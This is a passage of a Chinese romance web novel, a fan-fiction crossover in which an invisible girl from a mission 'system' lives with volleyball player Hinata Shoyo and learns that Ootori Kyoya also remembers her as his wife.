还在睡梦中的少女下意识拢住他,手指插进他蓬松的橘色发丝轻轻揉按,与不久之前搓小狗的动作一模一样。
“好暖和。”
日向翔阳的心尖与眼神同时化开,花了十几分钟才在不弄醒人的情况下起身,为她盖好被子走了出去。
房间里恢复了平静。
没过多久,带着清爽气息的他走了进来,坐在床边握着她伸出被子的手满足的闭上了眼睛。
无人窥见的夜色中。
两人交握的手泛起了星星点点的稀碎光片。
那些碎片一股脑的朝床上的少女涌去,一小部分消散在空气中,落在靠着床沿的青年身上消失不见。
第128章
宫侑发现最近他最看重的队友强力接应应当和他一样深爱着排球的日向翔阳有些不对劲。
他跑动到一传排球下落的地方,身体自然而然的微微下压,从高空落下的三色球体自然而然的落在他的手中,接下来他眼神动了动,从少年时期就重复过千百次的动作娴熟而精准的将排球送了出去。
橘色的身影像一道风一样掠过他空出的位置, 双臂向后, 跳起了一个不可思议的高度, 被努力与热爱练就的手臂线条修长结实,向下挥动。
“咚!”
重炮一样在另一边场地炸响。
四处分散两两组队训练的队员纷纷朝这边看来,又在助教和教练的呵斥中回神,满脸卧槽的继续训练。
没记错的话他们队昨天不是才打过两场练习赛吗?
今天还能打鸡血一样跳得这么高,翔阳是怪物吗? !
队内几人对视一眼,佐久早一言不发的退后一步,被从身后冒出来的木兔光太郎勾住脖子带了回来。
木兔兴奋的看向明暗修吾:“不对劲, 翔阳一定偷偷掌握了想提升体力的办法!队长,我们偷偷打探一下。”
“……”
本来不想掺和的明暗修吾无言片刻,扫了一眼佐久早黑如锅底的脸,扶额叹着气把人连哄带骗带走。
这孩子也别掺和了。
临走之前他回头警告宫侑:“玩闹可以,不要太过分了。”
宫侑脸色顿时拉了下来的,小声抗议:“凭什么只单独叮嘱我一个!搞得好像只有我捣乱一样!这不公平。”
拎着毛巾从他旁边路过的犬鸣和阿德利亚加快脚步。
你就是领头搞事的那个啊!
宫侑啧了一声转头找翔阳,却发现刚刚还在擦汗整理东西的人已经不见了。
“人呢?”
带着愠怒的关西腔响起,还在收拾东西的替补队员深深埋着头颤抖着肩膀,加快了动作。
宫侑加快脚步急匆匆地走出去,可哪里还见得到日向翔阳的身影。
·
“就这样跳起来然后, 咻, 啪!”
我兴致勃勃的比划,连刚端上来滋滋作响的牛排都没能分散我的注意力。
“跳的那么高,球落下的声音超级大,大家都看呆了,太厉害了——”
我说完看向对面的青年:“超级帅气诶!”
日向翔阳坐在她对面内心原本还有些期待,结果被她用崇拜的表情夸奖了整整半个小时,蜜色的肌肤已经挡不住加深的晕红。
他单手捂唇挡住半张脸,眼神不自觉看向一边,将切好的牛排放到她面前。
“吃饭吧小一。”
我喋喋不休的声音停住,循着香气看了一眼被自然而然放在自己面前的盘子和日向翔阳交换到自己面前的牛排,沉默了一下。
“好吧。”
在场边亲眼看到那个扣球的兴奋感终于回落。
我坐了下来。
对面伸过来伸过来一只手将叉子放到我手里,然后那只不管救球还是击球都非常灵活的手指带着我一样样摸过桌子上的东西。
虽然是迫不得已,被牵着手一点点引导的感觉却不赖。
我杵着下巴塞了一块牛排到嘴里,目光落在日向翔阳身上,他们之间有特殊的联系,就连我想要接触这个世界都可以通过他来实现。
如果我们以前真的认识的话,关系一定非常非常非常好,我想。
说不定离开的时候我还曾想过办法和他重逢。
我回忆着有关任务的规章制度,书到用时方恨少,每次组织学习能逃就逃的我想不到有用的空子可以钻。
能想到的唯一一个能和他再次相见的办法就是提前退休,然后用积攒的积分兑换他所在的世界生活。
我觉得自己似乎抓到了曾经的想法。
“翔阳等会儿我可以用一用你的电脑吗?”
我想要继续寻找回去的线索,住进他家的这几天,他出门训练我就会去那天出现的地方寻找回去的蛛丝马迹。
三天下来范围扩大到旁边的三条街道都一无所获。
我只能死马当活马医看看网络上会不会有什么线索。
可以说对我十分纵容的日向翔阳没怎么思考就答应下来,他把甜点放到我触手可及的地方,又倒了杯温水推过来。
“可以。不要喝太多冰的。”
我在他温柔的目光中悻悻地把冰橙汁推远,喝了口温水表示知道了。
吃完饭他带着我一起去买东西。
我“反正也没人看得到”的小声嘀咕被他难得严厉起来的眼神逼了回去,只好跟在他身后看着他认认真真的挑选各种生活用品。
似乎有长期养着我的打算。
被饲养的我本人倒是没什么意见,但我不可能一直维持着这种状态。
“这个味道的怎么样?搭配这个软毛刷你应该会喜欢。”
不该给他我能长期待在这里的错觉。
我深吸一口气抬头看了购物篮一眼,表情一顿,又重新看了看他手里的沐浴油和浴刷。
完蛋了,居然都是我喜欢的。
“……”
我在他耐心等待的眼神中缓缓点了点头。
我无法说出让这双眼睛难过的话。
我失魂落魄的跟在他身后走出超市,视线落在他拎着的两个购物袋上,里面除了少量食材之外全都是给我准备的生活用品。
我焦虑的捏了捏手指。
该怎么和他说明呢。
——在不让他伤心的情况下。
“小一。”
我没有抬头,只拉了一下他的手指表示我在听,心里还在绞尽脑汁的思考怎么和他交代事实。
对他顺势牵住了我的手没什么反应。
反正我们都知道我不会撞到人。
就这样牵着走了一会儿他还是没说话,我才抬头晃了晃牵在一起的手。
“翔阳?”
对了,关于互称名字这件事从相遇的第二天在我意识到的时候就开始了。
因为双方都没什么意见就继续延续了。
他带着我上了电车,即便没人能碰到我还是将我圈在角落,低头回应:“嗯?”
“明天早上吃鸡蛋培根三明治怎么样?”
我只要是好吃的我从不挑嘴,飞快的点点头,心头不知怎的对那道声音仍然有些在意。
一分钟后我放弃了。
算了,这里除了翔阳之外还有谁看得到我,又会叫我这个名字呢?
电车外不远处的黑色轿车里,黑发男人平静地看着窗外,深黑的眼眸看不出情绪。
他修长的手指扶过裤腿抚平褶皱,嗓音冷静:“查查那个男人。”
司机小心翼翼的看了眼后视镜又恢复目不斜视的状态。
“如果您说的是那个橘发男人我应该认识他。”
他的老板靠在后座微微闭目,面容英俊身姿修长,刚刚从须王家的宴会出来。
根本看不出几分钟前慌张推门下车在街边奔跑的人是他。
“那是v联盟顶尖球队黑狼队的球员,我看过他们的比赛,如果没错的话他就是日向翔阳。”
凤镜夜手指在膝盖上敲了敲,沉思片刻后,冷不丁的问:“日向翔阳?他结婚了吗?”
司机顿了一下,忍住回头看的冲动,摇摇头:“据我所知还没有。”
他听到后座传来一声冷笑,似乎有些不知从何而来的怒意。
没结婚拉什么手。
凤镜夜转了转尾指上的宝石戒圈,面无表情的吩咐:“我知道了,先回凤宅。”
司机松了口气,启动了车辆,老板终于要回家了,老爷应该会很开心吧。
“什么?!你连现在的房子都不住了要去那种庶民聚集的地方买房?!”
凤敬雄怒视自从接手家业以来彻底患上面瘫重新进入叛逆期的幼子,喘了口气:“你不住在家里想一个人住我同意了,暂时不结婚我也同意了,你为了逃离这个家就这么迫不及待吗!”
凤镜夜冷静的说:“我有喜欢的人。”
凤敬雄顿了顿更生气了。
“你从几年前开始就用这套说辞来搪塞我,到现在都不知道换换!你今天走出去就别回来了!”
凤镜夜蹙了蹙眉,看向提着行李缩在墙角的女仆,把行李箱接了过来,想了想还是说:“这次是真的。”
“我去追人。”
凤敬雄:“!”
他愕然的与凤镜夜对视几秒。
凤镜夜面无表情地站在他家门外,门砰的一声在他面前关上。
里面传来凤敬雄上扬的声线:“去吧,买房的费用我给你报销,记得常回来看看。”
凤镜夜看了一眼趴在二楼窗户憋着笑朝这边挥手的姐姐,又冷静的敲了敲门。
“我的行李箱还在里面。”
我想了躺在床上想了一会儿找什么时机和日向翔阳说清我可能会离开这件事。
他身为顶尖球队的队员平时已经很忙了,现在繁重的训练后还要抽出时间照顾我,眼下淡淡的黑眼圈让我的良心隐隐作痛。
我趴在床上用力锤了锤枕头:“不行不能这么拖下去了!”
“明天早上就和他说清楚!”
下定决心后顿时轻松起来,我抱着被子翻了个身缩成一团睡了过去。
不一会儿一道身影走了进来,熟练的靠着床沿坐了下来,越发爱怜的目光落在床上的鼓包上。
“我想起了一点我们一起生活的片段,但想要抓住的时候又全都消失了。”
他抱着膝盖脑袋搭在上面看着熟睡的少女,低声呢喃:“我能察觉到,那不是梦。”
“对不对。”
他的呼吸也逐渐平缓,闭着眼唇角上扬似乎做起来美梦。
“……不要离开我了。”
第129章
清晨的第一缕阳光照进房间的时候,我闭着眼睛蹭的一下从床上蹦了下来。
门外一片安静。
很好,这个时候翔阳应该还没有起床。
我搓了搓脸给自己打气,推门走了出去,然后愣在原地。
客厅的窗帘被卷起, 明亮的日光照进家里, 形成一大块暖黄色的光斑。
主卧的房门安安静静的关着,客厅的餐桌上放着当做早点的三明治和牛奶,整个房子都散发着安逸祥和的气息。
我目光落在主卧的门上。
问题是太安静了。
我悄悄把脑袋穿过门板往里面快速看了一眼, 果然窗帘大敞,床铺平整,已经没有人在了。
我惨叫一声小心的把自己扔进沙发。
“可恶明明都已经做好心理建设了,怎么就起晚了呢!?”
好不容易做好的心理准备迅速消失,我又回到之前踌躇的状态,抓在手里的手机嗡嗡了两声。
我翻了个面仰躺着打开手机。
翔阳:起床了吗?记得吃早餐。
我有气无力的回复了一个可爱的表情包。
翔阳:中午的话要来我这里吗?今天吃烤肉。
我现在的状态虽然会饿,但并不用像正常人那样吃一日三餐,吃一顿就差不多了。
我戳了戳桌上的早餐, 还有些温热,气哼哼的抿唇。
他绝对在离开之前偷偷让我碰过了!
这都没醒, 我有点气自己。
1:不用啦, 今天要出门逛逛。
另一边的日向翔阳在休息时间就在宫侑狐疑的眼神中拿出手机,自顾自的笑着发消息,看到回复他捏着手机的手指紧了紧。
翔阳:那要注意安全。
翔阳:那烤肉就留到我们晚上一起吃好了。 [小狗期待.jpg]
我不一定能准时回来。
我看着那只毛绒绒的小狗,冷酷的打出这句话,又在发出去之前删除。
1:好奥。
我关掉手机叹了口气, 提起准备好的小袋子出门。
钻出大门就对上一双若有所思的黑色眼睛。
我没在意拎着袋子飘飘忽忽向左走了两步,那双存在感很强的眼睛也跟着我移动。
我迟疑了一下看向袋子。
我记得被翔阳建立联系后被我拿在手里的东西应该都和我一样不能被人看见啊。
应该是我神经过敏了吧。
我把袋子抱在怀里加快了脚步。
“您好。”
我径直走向消防通道,身后紧跟着也传来拖鞋和地面摩擦的声响,我皱了皱眉贴着墙等他过去。
这人也要下楼?
我垂着的眼眸朝那边瞥了一眼,眼神在这位新邻居笔挺的西装裤和格格不入的毛绒拖鞋上停了一下。
咦?
我和那只毛绒绒的黑色小猫对视一眼。
有品位。
我被勾起了点好奇心,抬头认真看向这位有电梯不走偏要走楼梯的邻居。
原来有的衣服真的能一眼看出贵不贵。
邻居穿着简单的白色衬衫和黑色西装裤,黑色的短发软软的垂在额头上,皮肤少见的是偏冷的玉色。
……和他脚上超级可爱的拖鞋不搭,也和布满灰尘的楼梯间不搭。
我又往旁边站了站。
一边想穿成这样就出来一定是有什么急事
那为什么不走电梯呢?
“你好。”
他目不斜视的经过我身边……然后停下了脚步,转头朝我打招呼。
我抱着塑料袋震惊的和他对视片刻,试探性的说:“你好?”
他竟然也看得见我!
这行字加大加粗在我脑子里重播。
黑发邻居身形纤长面容成熟英俊,从他的衣着来看大概率是年轻有为的成功人士。
我擦了擦额角不知为何渗出的冷汗,腹诽:见到我直接穿墙走出来还面不改色来打招呼,这心脏也太强了,要不说人家年轻有为呢?
但本来已经抬起来的脚步又落了回去。
众所知周,一个小世界只会有一个任务目标。
但现在和我有特殊联系的人竟然出现了第二个。
难道之前是我想错了,翔阳并不是我曾经的任务对象,毕竟我在任务途中被扔进曾经来过的小世界就已经很不可思议了,现在出现一些更奇怪的现象似乎也正常。
我往旁边走了几步,黑发男人也跟着我走了过来,消防通道半掩着的门将我们的身影挡住,避免被经过的邻居看到他对着空气说话。
“你认识我?”
凤镜夜专注的看着眼中带着好奇的黑发少女,心中有些失落,她似乎不记得了,但掩盖不住心里源源不断的喜悦与靠近的冲动。
昨天隔着一段距离他就觉得八九不离十了。
今天这么近的距离,让他忍不住想要按一按胸口,恍惚间似乎有什么缺口被填补了少许。
凤镜夜摸了摸尾指上的戒指,闻言笃定的说:“我当然认识你。”
我好奇的看着他,难道是我的朋友?
随后我听到他冷静的说出了恐怖的话。
“你是我的妻子。”
塑料袋掉在地上。
专门给小狗准备的小零食骨头散落在地上染上了灰尘。
我顾不上小黑的嘴零,震惊的张大嘴巴,看着那双异常冷静的黑眸,半晌:“哈?”
我按了按脑袋怀疑自己根本没睡醒。
“哈哈。”
我干笑一声,矮身从他旁边钻了出去,径直往楼下发足狂奔,直到看着几双水汪汪的黑色眼睛我才意识到带给它们的礼物被留在原地了。
我蹲在公园的蘑菇屋面前抱着膝盖和它们渴望的眼神对视,试图晓之以情无果后,拍拍膝头的爪印长叹一声。
“我不怪你们,你们还小,过几年就懂了,这种时候碰上人的几率太大了。”
你是我的妻子。
一想到那个人,脑子里就响起这句话,我敲了敲额头把它压进脑海深处。
我盯着地上的蚂蚁,避开小狗们渴望的眼神,地上的蚂蚁队伍行进的路线歪歪扭扭,横看竖看都是三个大字。
完蛋了。
不知道发生了什么,总之就是完蛋了。
我一直在外面待到天黑才犹犹豫豫的往回走,贴着楼梯口小心的往外看了一眼,确定走廊上没人才加快脚步往家里冲。
在成功进门之前肩膀忽然被一只手按住,极有技巧的轻轻一带,我眼前有一花,门板在我眼前被一只骨节分明的手合上。
“咔嚓。”
门合上的声音让我眼前一黑。
“抱歉用这种方法请你过来。”
我被迫跟着他走进客厅,这里的装潢和我想象中不太一样,不是想象中的贵气或者简约风格,反而所有地方都布满了生活气息。
主基调是原木色,整个空间充斥着可爱实用的生活用品,我又看了一眼被塞到手里的杯子,不觉朝他手里明显和我这个成对的杯子看了眼。
嗯,整个家都充斥着两个人的生活气息。
他自然到我有种曾经和他在这里生活过的错觉。
我拿着杯子盯着杯子里冒着泡的橙色汽水看了两秒,还是没能下口,我觉得被强行带进来的人应该硬气一点。
反正不该是和谐的坐在一起喝果汁。
退一步来说,万一是他认错了,那我用这个杯子也不合适。
我在他的注视下摆着严肃的表情把杯子放回茶几,转头和他对视……没错过他眼里闪过的失落,我心里掠过一丝丝罪恶感。
我扛着美色的压力开口:“你找我过来要干什么?”
他也把杯子放下来,和我放着的杯子摆在一起,杯子和手柄正好组成一个爱心的形状,我看得眼角抽了抽。
好土。
他手指交叉放在身前以一种非常正式的姿态,缓缓开口:“也许你认为我是在开玩笑,但我见到你的第一眼我就知道想你就是我的妻子。”
我面无表情的扣手。
太棒了,非常正经的说出了离谱的话。
他紧接着进行了一番孔雀开屏似的自我介绍。
我在被迫得知他的存款余额之后,红着眼睛伸出一只手阻止他:“等一下,我不想知道这个,难道关键不是你对一个第一次见面,不知是人是鬼的家伙一见钟情吗?好歹质疑一下啊!”
这难道不奇怪吗?
凤·三大财阀之一掌权人·身家过亿·镜夜微微一笑:“如果是你的话就不奇怪了。我一直在等你回来。”
他朝我伸出一只手,掌心宽大手指修长,掌心躺着一枚镶嵌着宝石的戒指。
“这是去年突然出现在枕边的戒指,我排查了所有可能的情况,所有证据都指向一点——它是凭空出现的。”
凤镜夜:“我想它是你的对吗?”
在那枚戒指放在我面前的那一刻,我的注意力被动的全部落在上面,那是一枚低调不失贵重的指环,纯净的蓝宝石被精美繁复的花纹拱卫,就算是在客厅不算明亮的灯光下它也熠熠生辉。
就价值来说我应该不会拥有这样一枚戒指。
但我的感情却告诉我,它很重要。
我下意识摸了摸手指那里空荡荡的,出现在这里的第一时间我就发现了,原本戴在手上的索恩指环和套在一起的订婚戒指都不见了。
我看着那枚戒指鬼使神差的伸手想要拿起来。
突兀的敲门声打断了我的动作。
我的手顿在半空,犹豫了一下还是收了回去,摇摇头:“我不记得了。”
我趁着敲门声站起来,犹豫了一下,对同样跟着站起来的凤镜夜说:“有人找你呢,我和……男朋友约了一起吃晚饭,再见。”
含含糊糊的男朋友被念出来的瞬间他的脸色似乎白了点。
我扭头让自己不要心软,光是翔阳已经很难搞定了,再加上一个人真的不知道该怎么收场。
我不等他回应径直朝外走去。
我紧绷着的弦在我钻出去的一瞬间松懈下来,避开职员打扮的男人,朝对面走去,却和打开门的翔阳打了个照面。
“……”
他应该没看见我从对面出来吧。
第130章
我们对视了两秒, 他探出门没有动作的举措让站在凤镜夜门前的青年不好意思的道了歉,走到一边开始打电话。
我若无其事的走过去。
日向翔阳就露出毫无阴霾的笑容朝我伸出手,我心里一松,也伸手搭了过去。
他把我领进门,屋子里已经开始萦绕着香气,我动了动鼻尖视线落在桌上已经开始滋滋响的寿喜烧惊叹了一声。
“哇, 你还做了这个!好香啊。”
他拿起围裙往身上套,然后朝我看来:“毕竟是我们一起在家吃的第一顿饭, 想做得丰盛一点。”
“你看会儿电视,还有一会儿就能开始了。”
我来帮忙的话说不定比想不帮还要麻烦,所以乖乖的点头,自觉上前一步从他的手里接过绳子,帮他系好。
宽松的卫衣在围裙绳子的收拢下跟着收缩,收束出紧窄的弧度。
我系绳子的手一顿。
头顶传来他不好意思的声音:“再系紧一些就好,不然有些容易擦到台面。”
我默默地把绳结拆开又重新收紧系好,动作间手指似乎还摸到了布料下富有力量感的线条,我连忙垂下手感觉耳朵发烧,随便找了个借口溜走。
没想到他也跟着走了过来,一手撑着沙发靠背朝我靠近。
我慌乱的看着他越来越近的脸,手掌隔在中间:“等一下!”
他动作顿了一下, 疑惑地看了我一眼, 然后直起身朝我晃了晃手里的遥控器。
他打开电视,然后把遥控器交到我手里, 温热的指尖擦过我的掌心, 梳理了一下我的头发:“好了,等我一下,晚餐很快就好。”
我老老实实的坐在沙发上眼睛虚虚的落在电视机上,却什么也看不进去,手指用力搓了搓被触碰过的掌心,以此缓解还残留在上面的痒意。
“五条财团宣称将主持这次大赛的举办,并提供场地与所有费用……”
我撑着下巴趴在沙发扶手上,将电视里叽叽喳喳的播报声当做背景板,视线不自觉又落在厨房里活动的身影上。
日向翔阳穿着柔软的家居服,在赛场上精神奕奕上翘的橘色发丝软软的垂落,不过也挡不住那双漂亮的眼睛。
在赛场上能够精准捕捉每一个细节的锐利眼眸,此时专注的看着食材,浓密的橘色睫毛垂落下来像一把小扇子,在眼下投下阴影。
这样看起来排球赛场上的顶尖球员与厨房的适配度也不错。
最引人注意的是那件浅粉色带淡黄色碎花的围裙,从富含力量感的宽肩向下线条陡然收束,勾勒出惊人的窄。
碗筷清脆的磕碰声让我心虚的收回视线,正襟危坐的看向电视,新闻主持人的外景镜头扫过一座古朴的老式宅院。
横扫两秒的镜头竟然都没有拍摄到围墙的尽头,镜头里响起短暂的抽气,被一大群暗色和服中老年人恭敬地簇拥着走在最前方的白发男人一闪而过。
我身体稍稍前倾下意识细看,遗憾的是镜头只是一扫而过就闪烁着变成黑色,然后女主持人的脸再次出现,话题却越过了刚才的新闻变成了医养行业的新闻。
我遗憾的窝回沙发,抱着翔阳刚刚拿过来的酸奶怅然若失的挖了一勺。
伴着新闻主持人“凤家掌权人宣布将在东京建设本世纪最全面、最权威、最高档,也是占地面积最广包含医疗保健养老度假一体的医养度假庄园。”的背景音,我百无聊赖的踩着拖鞋钻进厨房,将密集到令人不安的声音抛在脑后。
在我探头探脑的第三次表示要帮忙之后,灶台前忙碌的日向翔阳只好把准备好的碗碟递给我,修长与纤细的手指自然的交错。
他鼻尖挂着一滴汗珠,神色活力满满的向我叮嘱:“摆盘就交给你了,做完这些我们就可以开饭了。”
说完他顺手朝我嘴里塞了颗挂着水珠的樱桃。
我盯着他的脸过了两秒才感叹的点点头,装作没看到水池里活蹦乱跳的鲜虾,捧着碗碟施施然的去完成任务了。
我讨厌多足动物。
没几下工夫就把两个人餐具放好。
我又飘荡回厨房站在他身后看着他忙碌,鼓着脸颊嚼着酸甜的樱桃,闲聊道:“最近训练的时间好像变长了?”
掌心带着茧的有力手指穿过水流利落地抓起一只虾,熟练的去除虾线,没一会儿流水线一样被处理好的虾整齐的躺在盘子里。
他为了不让水溅出去微微弓着腰,宽阔的后背对着我:“嗯,马上要有大型赛事,最近队里在备战。”
我想到刚才听到的新闻点点头:“就是那个什么五条家赞助的那个?听起来很厉害。”
“很忙吧,其实你不用总是想着要照顾我,好歹我也成年了,稍微放松点也没事。”
他把处理好的虾在圆形的盘子里摆出好看的形状,我眯着眼睛打量了一下,像一朵花。
我悄悄伸出手指戳了戳半死不活的虾头。
然后手指就被人抓住送到水龙头地底下冲洗。
带着薄茧的指腹细细擦过我戳生虾的指尖,冰凉的水流没有带走指尖相触的微妙触感,反而放大了。
他一松开手我就把手收了回来,装作毫不在意的背在身后,催促着他往外走。
“好了好了我不就摸了一下吗?吃饭吧。”
日向翔阳的视线随着她连指节都泛起淡粉色的手消失在视野里,有些遗憾的收回目光,端起盘子从善如流的往外走。
吃完饭,两人凑在一起在只开了氛围灯的客厅看电影。
日向翔阳注视着屏幕里跟着穷小子逃跑的富家千金,喉结动了动:“对了有件事要和你说。”
我专注地看着屏幕,剧情虽然老套但奈何男女主角实在美丽,让人不想错过,抽空回应:“嗯?”
身旁安静了一会儿,在我看过去之前他的声音低低的传了过来,似乎有些忐忑。
“我们队后天要去出去集训,到时候就没办法总是回来。”
他的目光黏在身侧少女的脸上,几不可查的动了动胳膊,本就坐得近的两人胳膊相邻,看起来像是贴在了一起。
鼻尖隐约嗅到从她身上和自己一样的香味,他忐忑的心情好转了些许。
他不经意的询问:“你要不要跟我一起去,我拜托了助理帮忙多订了一间房,你可以住在那里。”
跟他一起出远门?
一个人待在这里也不方便,确实跟着他最好,反正这边能查看的地方我都已经看过了,去别的地方逛逛也不是不行。
我可有可无的点点头,应下来之前忽然想到那枚镶嵌着宝石的戒指,蓦然从心底生出一股遗憾,不是那枚戒指有多么贵重,而是某些更加重要的东西似乎在离我而去。
想到今天忽然出现同样能看得见我的凤镜夜,我嘴里的话转了个弯:“集训我就不去了,不然你没办法集中精神训练。”
没想到会被拒绝日向翔阳有些失落,更多的是担忧。
“我不在的话你一个人要怎么办,而且你不用怕麻烦我,我们本来就是……”
他顿了顿在雾蓝色瞳孔的注视下把剩下的话咽了下去。
他在心里完整地复述:我们本来就是恋人。
想到那枚指环,他红着脸补充道,说不定还应该是夫妻才对。
……只不过没有人记得。
想到这里他有些懊恼的敲了敲眉心,最近几天晚上睡梦中脑海里总是闪过一些片段,每每醒来还有幸福的余韵在胸口回荡,却总是记不起来那些画面。
如果他能想起来就好了。
这样就有理由天天粘着小一。
我歪头看他:“本来就是什么?”
他放下手掌按着她的发顶揉了揉,又情不自禁的顺着黑发慢慢梳理:“没什么,但你一个人可以吗?这么长时间没人照看我很担心。”
头皮上传来的酥麻让我眯着眼睛顺着力道靠在他的肩头,没一会儿就想打哈欠,为了不让他发现我心虚的表情我侧头把额头抵在他的肩膀上。
我慢吞吞的糊弄:“没关系,碰到你那天可能是好久没吃饭所以比较饿,多亏了你这段时间的辛勤投喂,我能还能坚持挺长时间的。”
一边在心里打着小算盘,到时候我去对面蹭饭,顺便再拜托凤镜夜让我研究研究那枚戒指。
日向翔阳半信半疑的沉默了一会儿,终究还是不太情愿的答应下来。
我心里欢呼一声,殷勤的跟在他身后说着帮忙收拾东西,实则当随身移动的陪聊。
夜色深深,月光从未拉严实的窗帘缝隙里洒进来,随着夜风与树影微微波动,如同房间里多出一条小巧的银河。
床上的黑发少女呼吸平稳,苍白的肤色在夜色下更加显眼。
一道黑影轻手轻脚的走了进来,熟练的坐在床边的地毯上垂头注视着她,视线不自觉落在她微微张开的唇上,手指轻轻探出在空中挣扎着停顿片刻,最终还是珍惜的落在唇角一触即离。
他不舍的面容上终于多了些柔和,低声呢喃:“你到底在隐瞒什么?”
注定无人回应的问句消散在静谧的房间。
他也不在意,只是从脖颈里掏出一条挂着戒指的项链,将那枚戒指取了下来动作小心翼翼的套上她的无名指。
精巧的戒圈滑进指根。
“刚刚好。”
他露出意料之中的神色,手指一点点的与她十指相扣,低声说出晚间未尽的话:“你果然是我的妻子,留在这里吧。”
就这样握着手直到天际泛起鱼肚白,他又小心翼翼的将戒指取下,虔诚的低下头吻了吻她戴过戒指的指节。
橘色的发丝软软的垂在脸上像一只努力想要得到回应的小狗。
又过了一会儿房间里响起几不可查的关门声。
我顶着黑眼圈睁开无神的双眼看了天花板好一会儿,才抬起那只被握了一晚上的手,看着上面环绕的白色光点。
我想我知道该怎么让一切回到正轨了。【你现在阅读的是 】
【全文完结】
第131章
我却高兴不起来。
指尖轻点那些光点就受到了牵引一样全都涌入我的额头。
梦这一层薄雾的画面飞速划过, 然后不等我的挽留就消失不见。
我闭着眼睛又看到了空旷的暗色空间里布满天空的星河,实现顺着星河一定落在被突兀截断,自然而然的明白。
还差一个。
我摸着空荡荡的指根锁定了住在对门的凤镜夜……的蓝宝石戒指。
有些懊恼的翻了个身,早知道今天下午他拿出来的时候, 就接过来看看了。
明天就找他拿来看看!
我闭上眼睛让自己不去细想同样拥有戒指的凤镜夜意味着什么,强迫自己睡觉。
但那些被忽略的细节还是走马灯一样在过于活跃的脑子里排着队路过。
承办大型体育赛事的五条……设立医养主题庄园的凤……以及热爱着排球的运动员日向……
这三个熟悉的姓氏实在是太明显了。
让我想忽略都难。
之前自欺欺人不看不听的想法被摆在面前的真相压了下去。
——在进入沢田先生的世界之前,我已经完成过三次任务,并且本应该忘了我回归生活正轨的三人通过某种方式想起来关于我的记忆。
并追着我找过来了。
我不清楚他们记起来之后发现我在其他人眼中从来没出现在的心情, 也不敢想他们跨越原本不可能逾越的壁垒找到我的时候,却看见我和其他人相恋的想法。
我面无表情的看着天花板,脸颊像火辣辣的,像有一团火在烧。
浓重的羞愧将我淹没。
我通过任务获取能量维持小世界运行是事实,但欺骗了他们的感情之后一走了之也是事实, 在他们面前和别人相爱也是事实。
我停下翻阅论坛的手,终于放弃了寻找相似案例的想法。
算了, 像我这样的还是少一个是一个吧。
我睁着眼睛直到天亮,机械性走到对面想敲门,却发现手直接穿了过去,沉默了一会儿,打算直接进去打招呼。
没等我动作门就咔嚓一声开了。
我扯出笑容抬头打了个招呼:“早啊。”
目光落在凤镜夜身上猝不及防的有些惊愕。
他身上披着一件深蓝色的浴袍,黑色的发丝还在滴水,腰带松松垮垮的系着,似乎是匆忙赶出来,导致领口露出一大片胸膛。
带着水汽的玉白色胸膛在深色浴袍的衬托下白的晃眼。
我克制的从漂亮的肌理上收回视线, 说出我的来意:“凤君,昨天那个戒指真的很漂亮,我能再看一眼吗?”
这个借口听起来有些莫名其妙。
但我知道如果我的猜测没错的话, 他不会拒绝我的提议。
如我所料他后退一步让开了位置,我从他身边走过,浓重的鸢尾花伴着檀木的香气混着水汽扑面而来。
我的步子顿了顿,有种侵入了凤镜夜最私人的领域的感觉。
脚步有瞬间的停滞。
身后慢条斯理跟过来的凤镜夜越过桌上常用的咖啡杯,从冰箱里拿出一罐花里胡哨的汽水,非常有仪式感的倒进被子里递给我。
显然他平时喝咖啡比较多。
我从冰箱里放满一整层的饮料上不动声色的收回视线,又坐到昨天的位置拿着相同的杯子,这次没什么犹豫的喝了一口。
坐在对面的凤镜夜眉头微挑。
他和我闲聊了几句,又不着痕迹的询问我住在对面的原因,和翔阳一样他似乎对我的状态和他失去的记忆都有自己的理解。
我谨慎的回答了几句,避免露出更多破绽。
但明白过来之后再看他专注的眼神以及不自觉亲昵的想要靠近的态度,我反而更加不自在,身体并不抗拒他的靠近,理智却在叫嚣着远离。
我神经抽疼了起来。
握着水杯的手指逐渐收紧到发白。
凤镜夜的声音立即停了下来,在我身边蹲下,注视着我的表情,声音微沉:“你怎么了?”
我抿着唇角沉默的摇头,再次提出:“我可以看看那枚戒指吗?”
面对我疏离的态度他从容冷清的表情终于有片刻的改变。
他认真的望进我的眼里,似乎察觉了什么,眼里闪过受伤,旋即又习惯性被浓重得深不见底的雾气覆盖。
“好。”
他认真的回答,起身,却是走向厨房。
片刻后,我看着茶几上的两份早点,耳边是他平静的声音:“没吃早饭吧,先吃完。”
凤镜夜看着她发白的唇色,不忍心责备,可她释放出的信息让他实在无法更加柔和,光是克制着仿佛心脏都被揉搓成一团的痛苦维持平静的表情就已经用尽了力气。
他第一次越过两人之间的界限,亲昵的擦了擦她的眼角,注视着那双雾色的瞳孔,轻声:“吃吧,没有人会责备你。”
我闷闷垂头:“我不是害怕被责备。”
不如说被辜负的人大声责备的话,我说不定会好受一点。
他这样态度反而让我被心头加重的愧疚压得喘不过气。
我在他的注视下食不知味的填饱肚子。
他吃东西的动作优雅又缓慢,即便是穿着浴袍坐在客厅吃东西也无损他的俊美。
在我放下叉子的时候他也停了下来。
将一个小盒子放在桌上往我面前推了推。
“我能问一下这代表什么吗?”
他礼貌的询问。
我拿着盒子,沉默了一下,最终还是不愿意再欺骗他:“也许是我回去的关键。”
我听到沙发和地面发出刺耳的摩擦。
他站起来冷静的说:“我先把餐具送去厨房,你可以看看戒指。”
他把空间留给我。
并尊重我的选择,哪怕他的心情并不平静。
我听到厨房里杯盘破碎的声音,注视着盒子里被人珍惜的放在中央的戒指,摸了摸顶端的宝石。
任务而已。
大家从来都是这么做的。
从小世界脱离的那一刻起他们就没关系了。
……本来该是这样的。
我动作迟缓的戴上戒指,果然看到熟悉的光点溢出,指尖轻点,从不小心落入这个世界散落出去的系统能量全部收了回来。
凤镜夜从没这么仔细的清洗过餐具,他收拾好地上的碎片,走到沙发旁半跪下来,缓缓伸手环住她的腰,轻声询问:“可以吗?”
他在沉默中将脑袋埋进我的小腹,直到这时他修长挺直的脊背才有些细微的颤抖。
我顺着他的脊背安抚地摸了摸,比想象中更清瘦的触感传递过来,眼前终究还是模糊了。
在泪珠要落不落的混沌当中,我终于鼓起勇气问出心头的疑惑。
“你不挽留吗?”
他的声音闷闷的:“我挽留的话,你会为了我留下来吗?”
又是沉默。
然后我们默契的跳过这个话题。
我咬了咬舌尖,小声说:“如果一个人因为某些原因和几个人相爱过——那个原因很重要且无法避免,完成了这件事之后那个人会离开,他们会忘记一切,会在在更好的环境里重新启程对吧?”
